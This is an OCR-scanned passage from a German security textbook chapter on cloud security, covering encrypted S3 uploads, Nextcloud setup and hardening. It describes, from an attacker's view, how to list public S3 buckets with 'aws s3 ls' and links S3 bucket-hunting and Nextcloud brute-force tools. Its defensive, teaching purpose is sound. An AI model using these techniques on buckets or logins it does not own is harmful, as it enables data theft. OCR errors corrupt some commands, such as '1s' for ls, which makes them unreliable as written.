Idealerweise darf nur root die Datei lesen. Dann mussen aber auch alle Scripts, die
mit S3 kommunizieren, mit Root-Rechten ausgefiihrt werden, was selten ideal ist.
Eine mogliche Variante kénnen Scripts sein, deren Ausfiihrung mittels sudo explizit
erlaubt wird, ohne dem betreffenden Account gleich uneingeschrankte Rechte zu
geben.
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Dateien verschliisseln

Aus Griinden des Datenschutzes ist es wiinschenswert, in S3-Buckets (aber natiirlich
auch bei anderen Cloud-Diensten) nur verschliisselte Dateien abzulegen. Das ist auch
Amazon bewusst. Daher stellt S3 verschiedene Varianten zur Auswahl, die Dateien in
einem Bucket zu verschlisseln (Server-Side Encryption, kurz SSE):

http://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html

Es stellt sich allerdings die Frage, wie weit Sie Amazon bei der Verschlisselung ver-
trauen. Bei zwei Varianten, die Amazon als SSE-S3 bzw. SSE-KMS bezeichnet, werden
die eingesetzten Schlissel von Amazon selbst verwaltet. Damit hat Amazon (oder ein
in das Unternehmen eingeschleuster Hacker der NSA) die Moglichkeit, in Thre Dateien
»hineinzuschauen«.

Lediglich bei einer dritten Variante, SSE-C, Uibergeben Sie selbst Schliissel, wobei
individuell bei jeder Datei ein anderer Schliissel verwendet werden kann. Amazon
schreibt in der Dokumentation, dass diese Schliissel nicht gespeichert werden und
dass die Datei unlesbar wird, wenn Sie den Schliissel verlieren. Aber da die Verschliis-
selung auch in diesem Fall serverseitig erfolgt und es sich um kein asymmetrisches
Verfahren handelt, bleibt es dabei: Sie missen Amazon vertrauen, dass es Ihren
Schlissel nicht doch irgendwo speichert.

Die Alternative besteht darin, die Verschliisselung clientseitig selbst durchzufiihren
und erst die fertig verschlisselte Datei zu Ubertragen. Sofern Sie beim Verschliisseln
und beim Umgang mit den Schliisseln keine Fehler machen, sind Sie damit auf der
sicheren Seite. Gleichzeitig wird die Handhabung der Dateien natirlich aufwendiger.
Aufierdem bleibt der nicht unerhebliche CPU-Aufwand zum Ver- und Entschliisseln
bei Thnen. Am ehesten ist eine derartige Vorgehensweise fiir automatisierte Backups
geeignet, die z. B. jede Nacht stattfinden.

Im Folgenden stellen wir Thnen exemplarisch eine Vorgehensweise vor. Dabei gehen
wir davon aus, dass Sie unter Linux arbeiten und das Kommando openssl zur sym-
metrischen Ver- und Entschliisselung verwenden. Als Schlissel dient die binare Datei
/etc/key mit 32 Bytes Lange. (32 Bytes erscheinen wenig, aber das sind 256 Bits. Flir
symmetrische Verfahren gelten bereits 128 Bits als ausreichend sicher.) Einen Schliis-
sel erstellen Sie mit dem Befehl:

openssl rand 32 > /etc/key

Zur bequemeren Anwendung kénnen Sie die Ver- und Entschliisselungskommandos
in zwei winzige Scripts verpacken:
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#1/bin/sh -e

# Datei /usr/local/bin/mycrypt

# Verwendung: mycrypt < plain > crypted
openssl enc -aes-256-cbc -pass file:/etc/key

#!1/bin/sh -e

# Datei /usr/local/bin/myuncrypt

# Verwendung: myuncrypt < crypted > plain
openssl enc -d -aes-256-cbc -pass file:/etc/key

mycrypt und myuncrypt konnen nun gut mit aws s3 kombiniert werden. Das erste Kom-
mando verschliisselt eine lokale Datei und ladt sie auf S3 hoch. Das zweite Kommando
ladt die Datei wieder herunter, entschliisselt sie und speichert sie dann:

mycrypt < localfile | aws s3 cp - s3://<bucket/encrypted-file>
aws s3 cp s3://<bucket/encrypted-file> - | myuncrypt > <filecopy>

openssl lasst sich zwar unkompliziert anwenden, das Subkommando enc hat aber kei-
nen besonders guten Ruf (siehe auch https://stackoverflow.com/questions/28247821).
Es gilt als weniger stabil und als unsicherer als gpg, das urspriinglich zum Ver-
schlisseln von E-Mails bzw. E-Mail-Anhangen konzipiert wurde. Sie konnen die oben
skizzierten Scripts mycrypt und myuncrypt daher alternativ auch mit gpg konzipieren:

#1/bin/sh -e

# Datei /usr/local/bin/mycrypt (gpg-Variante)

# Verwendung: mycrypt < plain > crypted

gpg -c --batch --no-use-agent --cipher-algo AES256 \
--compress-algo none --passphrase-file /etc/key \
--passphrase-repeat 0

#1/bin/sh -e

# Datei /usr/local/bin/myuncrypt (gpg-Variante)

# Verwendung: myuncrypt < crypted > plain

gpg -d --batch --no-tty -q --no-use-agent \
--cipher-algo AES256 --compress-algo none \
--passphrase-file /etc/key \
--passphrase-repeat 0

gpg erwartet die Passphrase in Textform. Sie konnen eine zufillige Schliisseldatei z. B.
mit makepasswd erzeugen, oder Sie fligen dem zuvor schon prasentierten Kommando
openssl rand die Option -base64 hinzu:

openssl rand 32 -base64 > /etc/key

Egal, ob Sie openssl oder gpg vorziehen: Die Sicherheit des Verfahrens steht und fallt
damit, dass die Datei /etc/key nicht in fremde Hinde kommt. Eine denkbare alterna-
tive Vorgehensweise ware, zum Verschliisseln jedes Mal eine neue, zufillige Key-Datei
zu erzeugen. Diese Datei wird dann mit einem oOffentlichen Schlussel verschlisselt

857



18 Sicherheit in der Cloud

und ebenfalls auf S3 gespeichert. Zum Decodieren werden beide Dateien herunterge-
laden. Zuerst wird die Key-Datei mit einem privaten Schliissel entschliisselt, dann die
Daten mit der nun wieder originalen Key-Datei.

Naturlich macht das den gesamten Prozess wesentlich umstindlicher. Der Vorteil
besteht aber darin, dass zum Verschliisseln nur ein 6ffentlicher Schliissel bendtigt
wird. Erst zum Entschlisseln ist der private Schlissel erforderlich. Weitere Details
koénnen Sie hier nachlesen:

https://stackoverflow.com/questions/ 7143514

Offentlicher Zugriff auf S3-Dateien

Soweit S3-Buckets und -Dateien fiir den 6ffentlichen Zugriff konfiguriert wurden, sind
die so gespeicherten Dateien tiber verschiedene URLs zuganglich. Je nachdem, ob der
Bucket-Name als Pfad oder als Hostname tibergeben wird, kann die Ubertragung per
HTTPS oder nur per HTTP erfolgen.

» https.//s3.amazonaws.com/<bucket-name/verzeichnisname/dateiname>
» http.//<bucket-name>.s3.amazonaws.com/<verzeichnisname/dateiname>

In den Hostnamen kann auch der Ort des jeweiligen Amazon-Datenzentrums einge-
bettet sein (hier eu-central-1, das ist der Serverstandort in London):

» https://s3.eu-central-lL.amazonaws.com/<bucket-name/verzname/dateiname>
» http://<bucket-name>.s3.eu-central-L.amazonaws.com/<verzname/dateiname>

Wenn Sie als Hacker die URL von einer Datei kennen, z. B. weil eine Webseite darauf
einen Link gesetzt hat, konnen Sie mit minimalem Aufwand alle anderen 6ffentlichen
Dateien herausfinden, die sich noch in dem Bucket befinden. Ein Weg besteht darin,
mit einem Webbrowser das Wurzelverzeichnis des Buckets anzusehen:

https://s3.amazonaws.com/<bucket-name/>

Damit erhalten Sie eine XML-Datei, die auf die dort gespeicherten Dateien und
Unterverzeichnisse verweist. Indem Sie den Vorgang fiir alle nun bekannten Unter-
verzeichnisse wiederholen, kdnnen Sie den gesamten Dateibaum erforschen.

Das geht aber noch viel effizienter und bequemer! Dazu miissen Sie nur das Kom-
mando aws installieren und einrichten. Mit aws s3 konnen Sie nicht nur Ihre eigenen
Buckets verwalten, sondern auch weltweit alle 6ffentlichen S3-Buckets erforschen
und Dateien daraus herunterladen. Dazu mussen Sie lediglich den Bucket-Namen
wissen. Das folgende Kommando durchlauft rekursiv alle Verzeichnisse und Dateien
des Buckets und speichert das resultierende Listing in einer Textdatei. (Vorsicht, bei
grof3en Buckets sind diese Listings riesig, insbesondere dann, wenn der Bucket auch
Logging-Dateien enthilt.)

aws s3 1s s3://<bucket-name>/ --recursive > directory.txt
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S3-Hacking-Tools

Diverse Hacking-Tools machen sich den quasi-offentlichen Charakter frither S3-
Versionen zunutze. Mit diesen Werkzeugen entdeckten Hacker und Sicherheitsfor-
scher in der Vergangenheit eine Menge Dateien, die aufgrund einer Fehlkonfigu-
ration unbeabsichtigt frei zugdnglich waren. Seit Amazon vernunftigere Default-
Einstellungen verwendet und seine Kunden unubersehbar vor offentlichen Buckets
warnt, ist die Erfolgswahrscheinlichkeit stark gesunken.

» Das Ruby-Script Bucket Finder erwartet als Parameter einen Dateinamen mit einer
Wortliste. Bucket Finder testet, ob es gleichnamige Buckets gibt und ob deren Inhalt
offentlich zugédnglich ist, und zeigt die Treffer an.

https://digi.ninja/projects/bucket_finder.php

» Das Python-Script AWSBucketDump geht ganz dhnlich vor: Sie tUibergeben eine
Liste von moglichen Bucket-Namen. Das Script durchsucht die Buckets und ladt die
dort gefundenen Dateien herunter. Dabei konnen nur Dateien berticksichtigt wer-
den, die bestimmten Suchbegriffen entsprechen und die eine vorgegebene Grofde
nicht Giberschreiten.

https://www.darknet.org.uk/2017/09/awsbucketdump-aws-s3-security-
scanning-tool

» Einen vollkommen anderen Ansatz verfolgt das Python-Script bucket-stream: Das
Programm liest das 6ffentlich zugéngliche Certificate Transparency Log mit (siehe
https://certstream.calidog.io). Wenn dort neue Zertifikate protokolliert werden,
testet das Script, ob die dort vorkommenden Namen mit dem eines Buckets
Uibereinstimmen. Um die Bucket-Uberpriifung schneller durchfiihren zu kénnen,
benotigt das Script AWS-Zugangsdaten. Verwenden Sie einen User-Account, dem
keine Buckets und keine Rechte in Ihrer S3-Umgebung zugeordnet sind! Bei unse-
ren Tests funktionierte das Script allerdings nicht zufriedenstellend. Wohl wurden
zehntausende Namen Uiberprift, aber keiner der Namen entsprach einem Bucket.

https://github.com/ethOizzle/bucket-stream

18.3 Nextcloud/ownCloud

Das Gefiihl, sich bei der Speicherung der eigenen Daten einem externen Konzern
auszuliefern, schreckte manche potentiellen Cloud-Anwender ab. Als 2010 ownCloud
vorgestellt wurde, stief? das Open-Source-Projekt auf grofle Resonanz. Es bot die Mog-
lichkeit, eine Cloud-Losung mit Dropbox-dhnlichen Funktionen auf dem eigenen
Server zu hosten. ownCloud-Anwender mussten weder die Kontrolle tiber Ihre Daten
abgeben noch teure Vertriage abschliefien. (Natiirlich fallen auch beim eigenen Hos-
ting Kosten an. Diese sind in der Regel aber wesentlich geringer als bei kommerziellen
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Cloud-Anbietern.) Fiir alle, denen ein eigenes Hosting zu mithsam ist, bietet die 2011
gegriindete Firma ownCloud-Komplettlosungen in verschiedenen Preisstufen an.

Wie schon bei vielen anderen Open-Source-Projekten in der Vergangenheit fiihrten
auch bei ownCloud die Kommerzialisierung des Angebots und die Zusammenarbeit
mit Investoren zu Streit. 2016 startete der ownCloud-Griinder das neue Projekt Next-
cloud. Die Software ist ein Fork von ownCloud, wahrend die Firma Nextcloud dhnliche
Dienste anbietet wie ownCloud.

Nextcloud unterscheidet sich von ownCloud durch einige Zusatzfunktionen, die bei
ownCloud gar nicht oder nur fiir zahlende Kunden zur Verfligung stellen. Grundsatz-
lich sind die funktionellen Unterschiede aber nicht sehr grof3. Die Installation und
Anwendung der Programme ist ganz ahnlich.

Gegenwartig werden beide Projekte intensiv weiterentwickelt. Welches der Projekte
sich durchsetzen wird oder ob beide Firmen parallel wirtschaftlich erfolgreich sein
werden, lasst sich momentan nicht abschitzen. Insofern ist eine Entscheidung fiir
das eine oder andere Projekt schwierig.

Dieser Abschnitt fasst kurz die Installation von Nextcloud auf einem eigenen
Root-Server zusammen und konzentriert sich dann auf den Sicherheitsaspekt. Die
Geschichte von ownCloud bzw. Nextcloud ist leider durchaus nicht frei von Sicher-
heitspannen. Wer gedacht hat, seine Daten mit dem Einsatz von ownCloud oder
Nextcloud den Klauen der NSA zu entreiflen, hat sie womaoglich auf andere Weise
noch mehr gefahrdet.

Als grofites Problem hat sich die Wartung bestehender Installationen herausgestellt:
Sicher ist der Einsatz der ownCloud/Nextcloud nur dann, wenn sich ein Adminis-
trator penibel um das Einspielen wirklich jedes Updates kimmert. Einen echten
Automatismus dafiir gibt es nicht —es sei denn, Sie nutzen die Hosting-Angebote von
https://owncloud.com bzw. https://nextcloud.com. (Aber der Charme von ownCloud
und Nextcloud liegt ja gerade in der Moglichkeit, das Hosting selbst zu tibernehmen,
die Daten also auf dem eigenen Server zu behalten. Deswegen konzentrieren wir uns
hier auf diese Variante.)

Zusatzfunktionen

Neben der Speicherung von Dateien bieten ownCloud und Nextcloud diverse Zusatz-
funktionen, z.B. die Speicherung von Terminen und Kontakten sowie von Office-
Dokumenten, die liber eine Weboberflache verandert werden konnen. Auf diese Funk-
tionen gehen wir hier nicht ein. Vielmehr steht die Grundfunktion von ownCloud/
Nextcloud im Vordergrund, also das Speichern von Dateien.
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Installation von Nextcloud

Vor der Installation von Nextcloud oder ownCloud miissen Sie einen Web- und
einen Datenbankserver einrichten. Die beliebtesten Programme sind Apache mit
den Modulen rewrite und headers als Webserver sowie MySQL oder MariaDB als
Datenbankserver. Nextcloud kann aber auch mit dem Webserver nginx oder mit
einer SQLite-Datenbank betrieben werden (wobei letztere nur fiir kleine Installatio-
nen empfehlenswert ist).

Eine weitere Voraussetzung besteht darin, dass der Webserver die Programmierspra-
che PHP unterstiitzt. Schliefllich sind diverse PHP-Erweiterungen erforderlich: php-gd,
php-json, php-mysql, php-curl, php-mbstring, php-intl, php-mcrypt php-imagick, php-xml
und php-zip.

Sind diese Voraussetzungen erfiillt, richten Sie als Administrator eine neue MySQL-
oder MariaDB-Datenbank samt einem dazugehorigen Benutzer ein, z. B. so:

user@linuxhost$ mysql -u root -p

mysql> CREATE DATABASE nextdb;

mysql> CREATE USER nextuser@localhost IDENTIFIED BY ‘'geheim';
mysgl> GRANT ALL ON nextdb.x TO nextuser@localhost;

Die Nextcloud-Dateien laden Sie nun mit wget herunter und packen sie aus. Das chown-
Kommando gilt fiir Debian und Ubuntu. Unter RHEL/CentOS ersetzen Sie www-data
durch apache.

cd /var/www/html

wget https://download.nextcloud.com/server/releases/\
nextcloud-n.n.tar.bz2

tar xjf nextcloud-n.n.tar.bz2

chown -R www-data.www-data nextcloud/

Die Cloud verstecken

Aus Sicherheitsgriinden ist es empfehlenswert, als Adresse fuir den Webzugriff nicht
firma.de/owncloud oder ../nextcloud zu verwenden, sondern ein nicht offensichtli-
ches Verzeichnis oder eine Subdomain, beispielsweise firma.de/xy oder xy.firma.de.
Dazu richten Sie in der Apache-Konfiguration einen entsprechenden Alias oder einen
virtuellen Host ein.

Es muss lhnen aber klar sein, dass diese Tarnung nur beschrankt wirksam ist: Sobald
eine Firma auf ihrer Webseite auf offentliche Cloud-Dateien verlinkt, wird bekannt,
wo sich die Cloud-Installation befindet.
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Beim ersten Aufruf der Adresse Threr Nextcloud-Installation in einem Webbrowser
erscheint ein Setup-Formular (siehe Abbildung 18.3). Wenn das Setup-Programm
erkennt, dass PHP-Module fehlen, weist es darauf hin. Installieren Sie diese Module,
starten Sie Apache neu, und versuchen Sie es nochmals.

Create an admin account
cloudadmin

20000000000

Strong password

Storage & database =
Data folder

Nvar/vwww/html/nextcloud/d

Configure the database

sqLite MySQLIMariaDB

nextdb

localhost

Finish setup

Abbildung 18.3 Die Setup-Seite von Nextcloud

Zur Inbetriebnahme ist nicht viel zu tun: Sie geben den gewtlinschten Namen fir den
Cloud-Administrator und ein moglichst sicheres Passwort ein. Empfehlenswert ist es,
fir den Administratoraccount einen nicht zu erratenden Namen zu verwenden (auf
keinen Fall admin!) AuBerdem missen Sie den Namen des MySQL/MariaDB-Users und
das dazugehorende Passwort angeben.

Der DATA FOLDER ist der Ort, an dem Nextcloud die Dateien speichern wird. Standard-
maflig verwendet Nextcloud dazu das Unterverzeichnis data innerhalb des Installati-
onsverzeichnisses, in diesem Beispiel also:

/var/www/html/nextcloud/data

Bei Cloud-Installationen fiir viele Benutzer wird dieses Verzeichnis grof3e Daten-
mengen aufnehmen. Es kann daher sinnvoll sein, einen anderen Pfad anzugeben,
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der auf ein eigens dafiir vorgesehenes Dateisystem verweist (vielleicht in einem
Logical Volume). Beachten Sie aber, dass das insbesondere unter RHEL/CentOS zu
Zugriffsproblemen fiihren kann: SELinux tiberwacht den Apache-Prozess und lasst
Dateizugriffe aulerhalb von /var/www normalerweise nicht zu. Wenn Sie ein ande-
res Verzeichnis verwenden, miissen Sie entsprechend den Security-Kontext dndern
(siehe Abschnitt 14.8, »SELinux«).

Installationsvarianten

Es gab in der Vergangenheit immer wieder Paketquellen mit ownCloud- bzw. Next-
cloud-Paketen fiir bestimmte Distributionen. An sich waren solche Pakete praktisch,
weil damit Updates fiir ownCloud bzw. Nextcloud im Rahmen der gewohnlichen
Linux-Updates durchgefiihrt wiirden. Wir haben damit aber schlechte Erfahrungen
gemacht. Immer wieder kam es vor, dass die (zumeist inoffiziellen) Paketquellen
plotzlich nicht mehr gepflegt wurden.

Wenn Sie auf Ihrem Server Docker verwenden, konnen Sie ownCloud oder Nextcloud
kann auch in Form von Docker-Containern installieren und ausfiihren:

https://hub.docker.com/_/owncloud
https://hub.docker.com/ _/nextcloud

Updates durchfiihren

Die Nextcloud-Weboberfliche weist Benutzer mit Admin-Rechten auf mogliche
Updates hin. Zur Durchfiihrung eines Updates gibt es zwei Moglichkeiten: Die ein-
fachere Variante besteht darin, dass Sie sich als Administrator in der Weboberflache
anmelden und dann die Seite ADMINISTRATOR * GRUNDEINSTELLUNGEN besuchen.
Dort initiieren Sie das Update direkt in der Weboberflidche. Beachten Sie, dass Next-
cloud wahrend des Updates in einen Wartungsmodus versetzt wird und in dieser Zeit
flr alle Benutzer nicht erreichbar ist (siehe Abbildung 18.4).

Die andere Variante erfordert einen SSH-Login auf Ihren Server. Danach wechseln Sie
in das Nextcloud-Installationsverzeichnis und fithren das Update mit dem PHP-Script
occ durch. Beachten Sie, dass das folgende sudo-Kommando nicht dazu dient, das
Update im Root-Modus auszufiihren. Vielmehr muss das Script occ mit den Rechten
des Accounts ausgefiihrt werden, in dem auch der Webserver lauft —unter Debian und
Ubuntu also www-data, unter RHEL/CentOS apache. Wiirden Sie occ mit Root-Rechten
ausfihren, konnte Apache spiter auf die nun ebenfalls mit Root-Rechten vorliegen-
den Dateien nicht mehr zugreifen.

cd /var/www/html/nextcloud
sudo -u www-data php occ upgrade # unter Debian/Ubuntu
sudo -u apache php occ upgrade # unter RHEL/CentOS
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000 Updater

Initializing

Current version s 12.0.3,
Update to Nextcloud 12.0.4 available. (channel: "production)

Check for expected files
Check for write permissions
Enable maintenance mode
Create backup
Downloading

Verifying integrity
Extracting

Replace entry points

Delete old files

Move new files in place

Keep maintenance mode active?

Maintenance mode will get disabled.

Done

Go back to your Nextcloud instance to finish the update

Abbildung 18.4 Nextcloud-Update im Webbrowser durchfiihren

Verschliisselung von Dateien

Nextcloud bietet zwar die Moglichkeit, alle Dateien serverseitig zu verschliisseln,
warnt aber nachdriicklich vor der Aktivierung der Funktion (siehe Abbildung 18.5).
Warum? Die Verschliisselung macht die Dateien um ca. 30 Prozent grof3er und ver-
langsamt den Zugriff. Der unmittelbare Sicherheitsgewinn halt sich aber in Grenzen:
Wenn einem Angreifer der Zugriff auf das Dateisystem des Nextcloud-Servers gelun-
gen ist, findet er auch die dort gespeicherten Schliissel.

oo m 4 m & £ 2 o

i=  Grundeinstellungen
Serverseitige Verschlusselung i

4 Information f diesen Server hochgeladenen

digkeitsverlust. Sie sollte

¢ Teilen
Serverseitige Verschlisselung aktivieren
& Sicherheit
Bitte lesen Sie ganz genau, bevor Sie die serverseitige Verschlisselung aktivieren:
/. Theming * Wird die Verschlisselung einmal aktiviert, so werden alle ab diesem Zeitpunkt hochgeladene Dateien verschlisselt. Sie
kann nur wieder deaktiviert werden, wenn das Verschlisselungsmodul dies unterstiitzt und alle Voraussetzungen (wie
8 Verschlisselung das Setzen eines Wiederherstellungsschliissels) im Vorhinein erfiillt wurden.
* Verschlisselung alleine garantiert nicht die Systemsicherheit. Bitte lese in der Dokumentation nach, wie die
4 Activitat Verschlisselungs-app funktioniert und welche Anwendungsfélle unterstitzt werden
* Bedenken Sie, dass durch die Verschlisselung die DateigroBe zunimmt.
N  Workflow

Es ist immer gut, regelmaBig Sicherungskopien von ihren Daten zu machen. Falls Sie die Verschlisselung nutzen,

B Umfrage zur Benutzung sollten Sie auch eine Sicherung der Verschlisselungsschliissel zusammen mit Inren Daten machen.

Dies ist die letzte Warnung: Wollen Sie die Verschlisselung wirklich aktivieren? ~ Verschliisselung aktivieren

§= Protokollierung

Abbildung 18.5 Nextcloud warnt eindriicklich vor den eigenen
Verschlisselungsfunktionen.
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18.3 Nextcloud/ownCloud

Einen echten Sicherheitsgewinn wiirde eine clientseitige Verschliisselung bringen.
Diese Funktion fehlt in Nextcloud aber gegenwartig — vermutlich deswegen, weil ihr
Einsatz mit zu groflen Einschrankungen fir die gemeinsame Nutzung von Nextcloud-
Dateien durch mehrere Benutzer verbunden wire.

Aber auch die serverseitige Verschliisselung kann sinnvoll sein. Die Funktion wurde
primar fir eine ganz spezielle Konfigurationsvariante konzipiert, bei der Nextcloud
als primarer Speicher nicht auf das lokale Dateisystem als primaren Speicher, sondern
auf einen externen Cloud-Anbieter zurtlickgreift. In diesem Fall bleibt der Schliissel
auf dem Nextcloud-Server, wihrend die verschlisselten Dateien z.B. in einem S3-
Bucket liegen. Hat ein Angreifer nur Zugriff auf den S3-Bucket, aber nicht auf Ihren
Nextcloud-Speicher, sind die Dateien sicher.

Hintergrundinformationen zum Verschliisselungskonzept von Nextcloud sowie zur
Nutzung von Amazon S3 als externen Speicher finden Sie auf den folgenden Seiten
des Nextcloud-Manuals:

» https://docs.nextcloud.com/server/12/admin_manual/configuration_files/
encryption_configuration.html

» https://docs.nextcloud.com/server/12/admin_manual/configuration_files/
primary_storage.html

Brute-Force-Angriffe und -Absicherung

Ein Angriff auf Nextcloud/ownCloud kann wie bei anderen Cloud-Diensten durch
Phishing erfolgen oder durch den Zugriff auf ein Gerdt, auf dem die Login-Daten
gespeichert sind. Eine weitere Variante ist ein Brute-Force-Angriff, bei dem die Login-
Seite mit immer neuen Kombinationen aus E-Mail-Adresse und Passwort bombar-
diert wird.

Hacking-Tools, die bei solchen Angriffen helfen, sind im Internet zu finden, beispiels-
weise hier:

https://github.com/51x/OwnCloudCrack

Nextcloud ist seit Version 12 gegen solche Angriffe relativ gut abgesichert. Das Pro-
gramm erkennt derartige Angriffe und verlangsamt dann die Reaktion auf Login-
Versuche entsprechend. Bei Bedarf konnen einzelne IP-Adressen auf eine Whitelist
gesetzt werden (EINSTELLUNGEN » VERWALTUNG * SICHERHEIT, Punkt BRUTE-FORCE IP-
WHITELIST). Intern werden Login-Versuche in der Tabelle oc_bruteforce attempts der
flir Nextcloud vorgesehen MySQL- oder MariaDB-Datenbank gespeichert.

ownCloud sieht einen vergleichbaren Mechanismus gegenwartig (Anfang 2018) nicht
vor. Dort kdnnen Sie aber eine Login-Absicherung durch Fail2ban realisieren. Grund-

865




18 Sicherheit in der Cloud

lagen zu Fail2ban sind in Abschnitt 14.6 beschrieben. Tipps zur Gestaltung von
ownCloud-spezifischen Jails fiir Fail2ban finden Sie beispielsweise hier:

https://github.com/owncloud/documentation/issues/3078
https.//decatec.de/home-server/owncloud-mit-fail2ban-absichern

Sicherheitstest fiir ownCloud- und Nextcloud-Installationen

Auf den Sites https://scan.owncloud.com und https://scan.nextcloud.com kdnnen Sie
die Adresse lhrer eigenen oder auch einer fremden ownCloud- oder Nextcloud-
Installation angeben. Ein Script testet dann die Installation, verrat die Versionsnum-
mer, bekannte Schwachstellen und gibt Tipps, wie Sie die Sicherheit verbessern
konnen (siehe Abbildung 18.6).

® @ [ Nextcloud Security Scan Rest x
&« C | @& Sicher | https://scan.nextcloud.com/results * @00 :

Running Nextcloud 11.0.2.7

A+ % NOT on latest patch level

+ Major version still supported

Vulnerabilities

Learn more about our security efforts.
Share tokens for public calendars disclosed

DOM XSS vulnerability in search dialogue
Reflected XSS in error pages
Limitation of app specific password scope can be bypassed

Stored XSS in Gallery application

Abbildung18.6 Ergebnis eines Nextcloud-Security-Scans

Als Administrator muss Thnen klar sein, dass dieses Werkzeug nicht nur Thnen,
sondern auch den Angreifern zur Verfiigung steht! In eingeschranktem Ausmaf}
funktionieren die Security-Scanner auch fiir das jeweilige Konkurrenzprodukt. Detail-
lierter fallen die Ergebnisse aber aus, wenn eine ownCloud-Installation mit dem own-
Cloud-Scanner iberpriift wird oder eine Nextcloud-Installation mit dem Nextcloud-
Scanner.
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